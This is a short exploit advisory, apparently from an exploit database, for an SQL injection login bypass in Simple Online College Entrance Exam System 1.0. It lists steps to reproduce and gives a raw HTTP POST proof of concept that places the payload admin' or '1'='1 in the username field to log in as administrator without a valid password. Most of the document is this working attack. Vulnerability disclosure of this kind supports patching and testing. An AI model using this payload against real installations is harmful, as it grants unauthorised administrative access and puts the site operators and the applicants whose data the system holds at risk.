Simple Online College Entrance Exam System 1.0 - SQL Injection Authentication Bypass Vulnerability

# Exploit Title: Simple Online College Entrance Exam System 1.0 - SQLi Authentication Bypass
# Exploit Author: Mevlüt Yılmaz
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Simple Online College Entrance Exam System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/entrance_exam/admin/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /entrance_exam/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/entrance_exam/admin/login.php
Cookie: PHPSESSID=57upokqf37b2fjs4o5tc84cd8n

username=admin'+or+'1'%3D'1&password=anything